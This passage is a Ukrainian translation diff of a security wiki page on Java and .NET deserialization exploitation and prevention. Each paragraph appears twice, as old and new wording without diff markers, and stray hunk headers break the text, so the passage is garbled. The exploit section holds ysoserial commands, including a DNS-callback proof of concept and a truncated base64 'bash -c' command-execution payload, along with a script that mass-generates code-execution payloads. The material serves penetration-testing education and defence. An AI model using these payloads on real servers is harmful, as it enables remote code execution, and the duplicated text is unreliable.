find . -iname "*commons*collection*"
grep -R InvokeTransformer .
```
Ви можете спробувати **перевірити всі бібліотеки**, відомі як вразливі, і для яких [**Ysoserial**](https://github.com/frohoff/ysoserial) може надати експлойт. Або ви можете перевірити бібліотеки, вказані на [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
Ви також можете використовувати [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector), щоб шукати можливі ланцюжки гаджетів, які можна використовувати.\
Під час запуску **gadgetinspector** (після його побудови) нехай вас не турбують тонни попереджень/помилок, через які він проходить, і дайте йому завершити. Він запише всі виявлення у _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Будь ласка, зверніть увагу, що **gadgetinspector не створить експлойт і може вказувати на помилкові позитиви**.
Ви можете спробувати **перевірити всі бібліотеки**, які відомі як вразливі і для яких [**Ysoserial**](https://github.com/frohoff/ysoserial) може надати експлойт. Або ви можете перевірити бібліотеки, вказані на [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
Ви також можете використовувати [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) для пошуку можливих ланцюгів гаджетів, які можна експлуатувати.\
При запуску **gadgetinspector** (після його збірки) не звертайте уваги на безліч попереджень/помилок, які він проходить, і дайте йому закінчити. Він запише всі знахідки під _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Будь ласка, зверніть увагу, що **gadgetinspector не створить експлойт і може вказувати на хибнопозитивні результати**.
#### Чорний ящиковий тест
#### Тест чорного ящика
За допомогою розширення Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) ви можете визначити, **які бібліотеки доступні** (і навіть версії). З цією інформацією може бути **легше вибрати навантаження**, щоб використати вразливість.\
Використовуючи розширення Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), ви можете ідентифікувати **які бібліотеки доступні** (і навіть версії). З цією інформацією може бути **легше вибрати payload** для експлуатації вразливості.\
[**Прочитайте це, щоб дізнатися більше про GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
GadgetProbe спрямований на **десеріалізації ObjectInputStream**.
GadgetProbe зосереджений на **`ObjectInputStream` десеріалізаціях**.
За допомогою розширення Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) ви можете **визначити вразливі бібліотеки**, які можна використовувати з ysoserial та **експлуатувати** їх.\
Використовуючи розширення Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner), ви можете **ідентифікувати вразливі бібліотеки**, які можна експлуатувати за допомогою ysoserial, і **експлуатувати** їх.\
[**Прочитайте це, щоб дізнатися більше про Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner спрямований на **десеріалізації ObjectInputStream**.
Java Deserialization Scanner зосереджений на **`ObjectInputStream`** десеріалізаціях.
Ви також можете використовувати [**Freddy**](https://github.com/nccgroup/freddy), щоб виявити вразливості десеріалізації в **Burp**. Цей плагін виявить вразливості, пов'язані не тільки з **ObjectInputStream**, але також з вразливостями від бібліотек десеріалізації **Json** та **Yml**. У режимі активного сканування він спробує підтвердити їх, використовуючи навантаження зі сном або DNS.\
Ви також можете використовувати [**Freddy**](https://github.com/nccgroup/freddy) для **виявлення вразливостей десеріалізації** в **Burp**. Цей плагін виявить **не тільки вразливості, пов'язані з `ObjectInputStream`**, але **також** вразливості з бібліотек десеріалізації **Json** та **Yml**. В активному режимі він спробує підтвердити їх, використовуючи payload'и на основі затримки або DNS.\
[**Ви можете знайти більше інформації про Freddy тут.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**Тестування серіалізації**
**Тест серіалізації**
Не все полягає в перевірці використання сервером вразливої бібліотеки. Іноді ви можете **змінити дані всередині серіалізованого об'єкта та обійти деякі перевірки** (можливо, надати вам права адміністратора всередині веб-додатка).\
Якщо ви знаходите серіалізований об'єкт Java, який надсилається до веб-додатка, **ви можете використати** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **для виведення серіалізованого об'єкта у більш зрозумілому форматі для людини**. Знання, які дані ви надсилаєте, полегшить їх зміну та обхід деяких перевірок.
Не все зводиться до перевірки, чи використовується якась вразлива бібліотека сервером. Іноді ви можете **змінити дані всередині серіалізованого об'єкта і обійти деякі перевірки** (можливо, надати вам адміністративні привілеї в веб-додатку).\
Якщо ви знайдете серіалізований об'єкт java, що надсилається до веб-додатку, **ви можете використовувати** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **для виведення в більш зрозумілому форматі серіалізованого об'єкта, що надсилається**. Знаючи, які дані ви надсилаєте, буде легше їх змінити і обійти деякі перевірки.
### **Експлойт**
#### **ysoserial**
Основний інструмент для експлуатації десеріалізації Java - це [**ysoserial**](https://github.com/frohoff/ysoserial) ([**завантажте тут**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Ви також можете розглянути використання [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), який дозволить вам використовувати складні команди (з трубками, наприклад).\
Зверніть увагу, що цей інструмент **спрямований** на експлуатацію **`ObjectInputStream`**.\
Я б **почав використовувати навантаження "URLDNS"** перед навантаженням RCE, щоб перевірити можливість ін'єкції. У будь-якому випадку, зверніть увагу, що можливо, навантаження "URLDNS" не працює, але інше навантаження RCE - так.
Основний інструмент для експлуатації Java десеріалізацій - це [**ysoserial**](https://github.com/frohoff/ysoserial) ([**скачати тут**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Ви також можете розглянути можливість використання [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), що дозволить вам використовувати складні команди (наприклад, з конвеєрами).\
Зверніть увагу, що цей інструмент **зосереджений** на експлуатації **`ObjectInputStream`**.\
Я б **почав використовувати payload "URLDNS"** **перед RCE** payload, щоб перевірити, чи можлива ін'єкція. У будь-якому випадку, зверніть увагу, що, можливо, payload "URLDNS" не працює, але інший RCE payload працює.
```bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
@ -425,9 +424,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
# Base64 encode payload in base64
base64 -w0 payload
```
При створенні навантаження для **java.lang.Runtime.exec()** ви **не можете використовувати спеціальні символи** такі як ">" або "|" для перенаправлення виводу виконання, "$()" для виконання команд або навіть **передавати аргументи** до команди, розділені **пробілами** (можна виконати `echo -n "hello world"`, але не можна виконати `python2 -c 'print "Hello world"'`). Для правильного кодування навантаження ви можете [скористатися цим веб-сайтом](http://www.jackson-t.ca/runtime-exec-payloads.html).
Коли ви створюєте payload для **java.lang.Runtime.exec()**, ви **не можете використовувати спеціальні символи** такі як ">" або "|" для перенаправлення виходу виконання, "$()" для виконання команд або навіть **передавати аргументи** команді, розділені **пробілами** (ви можете зробити `echo -n "hello world"`, але не можете зробити `python2 -c 'print "Hello world"'`). Щоб правильно закодувати payload, ви можете [використати цю веб-сторінку](http://www.jackson-t.ca/runtime-exec-payloads.html).
Не соромтеся використовувати наступний скрипт для створення **всіх можливих навантажень виконання коду** для Windows та Linux, а потім перевірте їх на вразливій веб-сторінці:
Не соромтеся використовувати наступний скрипт для створення **всіх можливих payload для виконання коду** для Windows і Linux, а потім протестуйте їх на вразливій веб-сторінці:
```python
import os
import base64
@ -448,14 +447,14 @@ open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
```
#### серійний вбивця обхідних гаджетів
#### serialkillerbypassgadgets
Ви можете **використовувати** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **разом з ysoserial для створення більше експлойтів**. Додаткова інформація про цей інструмент у **слайдах доповіді**, де був представлений інструмент: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
Ви можете **використовувати** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **разом з ysoserial для створення більше експлойтів**. Більше інформації про цей інструмент у **слайдах виступу**, де був представлений інструмент: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
#### marshalsec
[**marshalsec** ](https://github.com/mbechler/marshalsec)можна використовувати для генерації політів для експлуатації різних бібліотек серіалізації **Json** та **Yml** в Java.\
Для компіляції проекту мені потрібно було **додати** ці **залежності** до `pom.xml`:
[**marshalsec** ](https://github.com/mbechler/marshalsec)може бути використаний для генерації пейлоадів для експлуатації різних **Json** та **Yml** бібліотек серіалізації в Java.\
Щоб скомпілювати проект, мені потрібно було **додати** ці **залежності** до `pom.xml`:
```markup
<dependency>
<groupId>javax.activation</groupId>
@ -470,7 +469,7 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
<type>pom</type>
</dependency>
```
**Встановіть maven**, та **скомпілюйте** проект:
**Встановіть maven**, і **скомпілюйте** проект:
```bash
sudo apt-get install maven
mvn clean package -DskipTests
@ -479,35 +478,35 @@ mvn clean package -DskipTests
Дізнайтеся більше про цю бібліотеку Java JSON: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
### Лабораторії
### Labs
* Якщо ви хочете протестувати деякі навантаження ysoserial, ви можете **запустити цей веб-додаток**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
* Якщо ви хочете протестувати деякі ysoserial payloads, ви можете **запустити цей веб-додаток**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
* [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
### Чому
### Why
Java використовує серіалізацію для різних цілей, таких як:
Java використовує багато серіалізації для різних цілей, таких як:
- **HTTP-запити**: Серіалізація широко використовується в управлінні параметрами, ViewState, cookies тощо.
- **RMI (Віддалене виклик методу)**: Протокол Java RMI, який повністю покладається на серіалізацію, є важливим для віддаленого зв'язку в додатках Java.
- **RMI через HTTP**: Цей метод часто використовується Java-орієнтованими веб-додатками з товстим клієнтом, які використовують серіалізацію для всіх об'єктних комунікацій.
- **JMX (Java Management Extensions)**: JMX використовує серіалізацію для передачі об'єктів по мережі.
- **Спеціальні протоколи**: У Java стандартною практикою є передача сирого об'єкта Java, що буде продемонстровано в майбутніх прикладах використання уразливостей.
* **HTTP запити**: Серіалізація широко використовується в управлінні параметрами, ViewState, куками тощо.
* **RMI (Віддалений виклик методів)**: Протокол Java RMI, який повністю покладається на серіалізацію, є основою для віддаленого зв'язку в Java-додатках.
* **RMI через HTTP**: Цей метод зазвичай використовується Java-додатками з товстим клієнтом, використовуючи серіалізацію для всіх об'єктних комунікацій.
* **JMX (Розширення управління Java)**: JMX використовує серіалізацію для передачі об'єктів через мережу.
* **Користувацькі протоколи**: У Java стандартною практикою є передача сирих Java-об'єктів, що буде продемонстровано в наступних прикладах експлуатації.
### Запобігання
### Prevention
#### Тимчасові об'єкти
#### Transient objects
Клас, який реалізує `Serializable`, може використовувати `transient` для будь-якого об'єкта всередині класу, який не повинен бути серіалізований. Наприклад:
Клас, який реалізує `Serializable`, може реалізувати як `transient` будь-який об'єкт всередині класу, який не повинен бути серіалізованим. Наприклад:
```java
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
```
#### Уникайте серіалізації класу, який повинен реалізувати Serializable
#### Уникайте серіалізації класу, який повинен реалізовувати Serializable
У сценаріях, де певні **об'єкти повинні реалізувати інтерфейс `Serializable`** через ієрархію класів, існує ризик ненавмисної десеріалізації. Щоб запобігти цьому, переконайтеся, що ці об'єкти не можуть бути десеріалізовані, визначивши `final` метод `readObject()`, який постійно генерує виняток, як показано нижче:
У сценаріях, де певні **об'єкти повинні реалізовувати інтерфейс `Serializable`** через ієрархію класів, існує ризик ненавмисної десеріалізації. Щоб запобігти цьому, переконайтеся, що ці об'єкти не підлягають десеріалізації, визначивши `final` метод `readObject()`, який постійно викидає виключення, як показано нижче:
```java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
@ -515,12 +514,12 @@ throw new java.io.IOException("Cannot be deserialized");
```
#### **Покращення безпеки десеріалізації в Java**
**Налаштування `java.io.ObjectInputStream`** є практичним підходом для захисту процесів десеріалізації. Цей метод підходить, коли:
**Налаштування `java.io.ObjectInputStream`** є практичним підходом для забезпечення безпеки процесів десеріалізації. Цей метод підходить, коли:
- Код десеріалізації перебуває під вашим контролем.
- Класи, які очікуються для десеріалізації, відомі.
* Код десеріалізації знаходиться під вашим контролем.
* Відомі класи, які очікуються для десеріалізації.
Перевизначте метод **`resolveClass()`** для обмеження десеріалізації лише до дозволених класів. Це запобігає десеріалізації будь-якого класу, крім тих, які явно дозволені, як у наступному прикладі, який обмежує десеріалізацію лише до класу `Bicycle`:
Перевизначте **`resolveClass()`** метод, щоб обмежити десеріалізацію лише дозволеними класами. Це запобігає десеріалізації будь-якого класу, крім тих, що явно дозволені, як у наступному прикладі, який обмежує десеріалізацію лише класом `Bicycle`:
```java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
@ -541,18 +540,17 @@ return super.resolveClass(desc);
}
}
```
**Використання Java Agent для підвищення безпеки** пропонує резервний варіант, коли модифікація коду неможлива. Цей метод застосовується головним чином для **чорного списку шкідливих класів**, використовуючи параметр JVM:
**Використання Java Agent для покращення безпеки** пропонує резервне рішення, коли модифікація коду неможлива. Цей метод застосовується в основному для **чорного списку шкідливих класів**, використовуючи параметр JVM:
```
-javaagent:name-of-agent.jar
```
Воно надає спосіб захисту десеріалізації динамічно, ідеально підходить для середовищ, де негайні зміни коду неможливі.
Це забезпечує спосіб динамічно захистити десеріалізацію, ідеально підходить для середовищ, де негайні зміни коду є непрактичними.
Перевірте приклад у [rO0 від Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
Перегляньте приклад у [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
**Реалізація фільтрів серіалізації**: Java 9 представила фільтри серіалізації через інтерфейс **`ObjectInputFilter`**, що забезпечує потужний механізм для визначення критеріїв, яким повинні відповідати серіалізовані об'єкти перед десеріалізацією. Ці фільтри можуть бути застосовані глобально або для кожного потоку, пропонуючи детальний контроль над процесом десеріалізації.
**Реалізація фільтрів серіалізації**: Java 9 ввела фільтри серіалізації через інтерфейс **`ObjectInputFilter`**, що надає потужний механізм для вказання критеріїв, яким повинні відповідати серіалізовані об'єкти перед десеріалізацією. Ці фільтри можуть бути застосовані глобально або для кожного потоку, пропонуючи детальний контроль над процесом десеріалізації.
Для використання фільтрів серіалізації, ви можете встановити глобальний фільтр, який застосовується до всіх операцій десеріалізації або налаштувати його динамічно для конкретних потоків. Наприклад:
Щоб використовувати фільтри серіалізації, ви можете встановити глобальний фільтр, який застосовується до всіх операцій десеріалізації, або налаштувати його динамічно для конкретних потоків. Наприклад:
```java
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
@ -564,30 +562,29 @@ return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
```
**Використання Зовнішніх Бібліотек для Підвищення Безпеки**: Бібліотеки, такі як **NotSoSerial**, **jdeserialize** та **Kryo**, пропонують розширені можливості для контролю та моніторингу десеріалізації в Java. Ці бібліотеки можуть забезпечити додаткові рівні безпеки, такі як створення білих або чорних списків класів, аналіз серіалізованих об'єктів перед десеріалізацією та впровадження власних стратегій серіалізації.
- **NotSoSerial** перехоплює процеси десеріалізації для запобігання виконанню ненадійного коду.
- **jdeserialize** дозволяє аналізувати серіалізовані об'єкти Java без їх десеріалізації, допомагаючи виявляти потенційно шкідливий вміст.
- **Kryo** є альтернативним фреймворком серіалізації, який підкреслює швидкість та ефективність, пропонуючи налаштовані стратегії серіалізації, які можуть підвищити безпеку.
**Використання зовнішніх бібліотек для підвищення безпеки**: Бібліотеки, такі як **NotSoSerial**, **jdeserialize** та **Kryo**, пропонують розширені функції для контролю та моніторингу десеріалізації Java. Ці бібліотеки можуть забезпечити додаткові рівні безпеки, такі як білий або чорний списки класів, аналіз серіалізованих об'єктів перед десеріалізацією та реалізацію власних стратегій серіалізації.
* **NotSoSerial** перехоплює процеси десеріалізації, щоб запобігти виконанню ненадійного коду.
* **jdeserialize** дозволяє аналізувати серіалізовані Java-об'єкти без їх десеріалізації, що допомагає виявити потенційно шкідливий вміст.
* **Kryo** є альтернативною рамкою серіалізації, яка підкреслює швидкість і ефективність, пропонуючи налаштовувані стратегії серіалізації, які можуть підвищити безпеку.
### Посилання
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html)
* Десеріалізація та виступ ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
* Десеріалізація та доповідь ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
* [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
* [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
* Виступ про gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) та слайди: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
* Доповідь про gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) та слайди: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
* Стаття Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
* [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
* [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
* [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
* Java та .Net JSON десеріалізація **стаття:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** виступ: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) та слайди: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* CVEs десеріалізації: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
* Стаття про десеріалізацію Java та .Net JSON: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** доповідь: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) та слайди: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* CVE десеріалізацій: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## Впровадження JNDI Injection та log4Shell
## JNDI Injection & log4Shell
Дізнайтеся, що таке **JNDI Injection, як його можна зловживати через RMI, CORBA та LDAP, а також як експлуатувати log4shell** (і приклад цієї уразливості) на наступній сторінці:
Дізнайтеся, що таке **JNDI Injection, як його зловживати через RMI, CORBA & LDAP та як експлуатувати log4shell** (і приклад цієї уразливості) на наступній сторінці:
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %}
[jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md)
@ -595,68 +592,69 @@ ObjectInputFilter.Config.setSerialFilter(filter);
## JMS - Java Message Service
> **Java Message Service** (**JMS**) API - це Java API середовища повідомлень для відправки повідомлень між двома або більше клієнтами. Це реалізація для вирішення проблеми виробник-споживач. JMS є частиною Java Platform, Enterprise Edition (Java EE) і був визначений специфікацією, розробленою в Sun Microsystems, але яка зараз керується Java Community Process. Це стандарт обміну повідомленнями, який дозволяє компонентам додатків на основі Java EE створювати, відправляти, отримувати та читати повідомлення. Він дозволяє зв'язок між різними компонентами розподіленого додатка бути слабо зв'язаним, надійним та асинхронним. (З [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
> API **Java Message Service** (**JMS**) є Java API для обміну повідомленнями між двома або більше клієнтами. Це реалізація для вирішення проблеми виробника-споживача. JMS є частиною Java Platform, Enterprise Edition (Java EE) і була визначена специфікацією, розробленою в Sun Microsystems, але з тих пір керується Java Community Process. Це стандарт обміну повідомленнями, який дозволяє компонентам додатків на основі Java EE створювати, надсилати, отримувати та читати повідомлення. Це дозволяє зв'язку між різними компонентами розподіленого додатку бути слабо пов'язаним, надійним і асинхронним. (З [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
### Продукти
Існує кілька продуктів, які використовують це середовище для відправки повідомлень:
Існує кілька продуктів, які використовують це програмне забезпечення для надсилання повідомлень:
![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../.gitbook/assets/image (291).png>)
![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../.gitbook/assets/image (314).png>)
![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../.gitbook/assets/image (292).png>)
![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../.gitbook/assets/image (1056).png>)
### Експлуатація
Отже, в основному існує **чимало сервісів, які використовують JMS у небезпечний спосіб**. Тому, якщо у вас є **достатньо привілеїв** для відправлення повідомлень на ці сервіси (зазвичай вам знадобляться дійсні облікові дані), ви зможете відправити **шкідливі об'єкти, серіалізовані, які будуть десеріалізовані споживачем/підписником**.\
Це означає, що в цьому використанні всі **клієнти, які будуть використовувати це повідомлення, будуть заражені**.
Отже, в основному є **безліч сервісів, які використовують JMS небезпечним чином**. Тому, якщо у вас є **достатні привілеї** для надсилання повідомлень цим сервісам (зазвичай вам знадобляться дійсні облікові дані), ви зможете надіслати **шкідливі об'єкти, серіалізовані, які будуть десеріалізовані споживачем/підписником**.\
Це означає, що в цій експлуатації всі **клієнти, які будуть використовувати це повідомлення, заразяться**.
Пам'ятайте, що навіть якщо сервіс уразливий (тому що небезпечно десеріалізує введення користувача), вам все одно потрібно знайти дійсні гаджети для експлуатації уразливості.
Вам слід пам'ятати, що навіть якщо сервіс вразливий (оскільки він небезпечно десеріалізує вхідні дані користувача), вам все ще потрібно знайти дійсні гаджети для експлуатації вразливості.
Інструмент [JMET](https://github.com/matthiaskaiser/jmet) був створений для **підключення та атаки цих сервісів, відправляючи кілька шкідливих об'єктів, серіалізованих за допомогою відомих гаджетів**. Ці експлойти будуть працювати, якщо сервіс все ще уразливий і якщо будь-який з використаних гаджетів є вразливим додатком.
Інструмент [JMET](https://github.com/matthiaskaiser/jmet) був створений для **підключення та атаки на ці сервіси, надсилаючи кілька шкідливих об'єктів, серіалізованих за допомогою відомих гаджетів**. Ці експлойти працюватимуть, якщо сервіс все ще вразливий і якщо будь-який з використаних гаджетів знаходиться всередині вразливого додатку.
### Посилання
* Виступ JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
* Доповідь JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
* Слайди: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
## .Net
У контексті .Net експлойти десеріалізації працюють подібно до тих, що знайдені в Java, де гаджети експлуатуються для виконання конкретного коду під час десеріалізації об'єкта.
У контексті .Net експлойти десеріалізації працюють подібно до тих, що зустрічаються в Java, де гаджети експлуатуються для виконання конкретного коду під час десеріалізації об'єкта.
### Відбиток
#### WhiteBox
Джерело коду слід перевірити на випадки:
Джерельний код слід перевірити на наявність:
1. `TypeNameHandling`
2. `JavaScriptTypeResolver`
Увага повинна бути зосереджена на серіалізаторах, які дозволяють визначати тип за допомогою змінної, яка перебуває під контролем користувача.
Основна увага повинна бути зосереджена на серіалізаторах, які дозволяють визначати тип за змінною під контролем користувача.
#### BlackBox
Пошук повинен бути спрямований на рядок, закодований у Base64 **AAEAAAD/////** або будь-який схожий шаблон, який може бути десеріалізований на стороні сервера, надаючи контроль над типом, який буде десеріалізований. Це може включати, але не обмежується, структури **JSON** або **XML**, які містять `TypeObject` або `$type`.
Пошук слід націлити на Base64 закодований рядок **AAEAAAD/////** або будь-який подібний шаблон, який може бути десеріалізований на стороні сервера, надаючи контроль над типом, що підлягає десеріалізації. Це може включати, але не обмежується, **JSON** або **XML** структурами з `TypeObject` або `$type`.
### ysoserial.net
У цьому випадку ви можете використовувати інструмент [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) для **створення експлойтів десеріалізації**. Після завантаження репозиторію git вам слід **скомпілювати інструмент** за допомогою, наприклад, Visual Studio.
У цьому випадку ви можете використовувати інструмент [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) для **створення експлойтів десеріалізації**. Після завантаження репозиторію git вам слід **скомпілювати інструмент** за допомогою Visual Studio, наприклад.
Якщо ви хочете дізнатися, **як ysoserial.net створює свій експлойт**, ви можете [**перевірити цю сторінку, де пояснено гаджет ObjectDataProvider + ExpandedWrapper + форматер Json.Net**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
Якщо ви хочете дізнатися, **як ysoserial.net створює свій експлойт**, ви можете [**перевірити цю сторінку, де пояснюється гаджет ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
Основні параметри **ysoserial.net** включають: **`--gadget`**, **`--formatter`**, **`--output`** та **`--plugin`.**
Основні параметри **ysoserial.net**: **`--gadget`**, **`--formatter`**, **`--output`** та **`--plugin`.**
* **`--gadget`** використовується для вказівки гаджета для зловживання (вказати клас/функцію, яку буде використано під час десеріалізації для виконання команд).
* **`--formatter`**, використовується для вказівки методу серіалізації експлойту (вам потрібно знати, яку бібліотеку використовує back-end для десеріалізації навантаження та використовувати ту ж саму для його серіалізації)
* **`--output`** використовується для вказівки, чи хочете ви експлойт у **сирому** або **кодованому у Base64** вигляді. _Зауважте, що **ysoserial.net** буде **кодувати** навантаження, використовуючи **UTF-16LE** (кодування, яке за замовчуванням використовується в Windows), тому якщо ви отримаєте сире значення і просто закодуєте його з консолі Linux, у вас можуть виникнути деякі проблеми з **сумісністю кодування**, які завадять експлойту працювати належним чином (у HTB JSON box навантаження працювало як у UTF-16LE, так і в ASCII, але це не означає, що воно завжди буде працювати)._
* **`--gadget`** використовується для вказівки гаджета, який потрібно зловживати (вказати клас/функцію, яка буде зловживатися під час десеріалізації для виконання команд).
* **`--formatter`**, використовується для вказівки методу серіалізації експлойту (вам потрібно знати, яка бібліотека використовується на сервері для десеріалізації корисного навантаження, і використовувати ту ж саму для серіалізації).
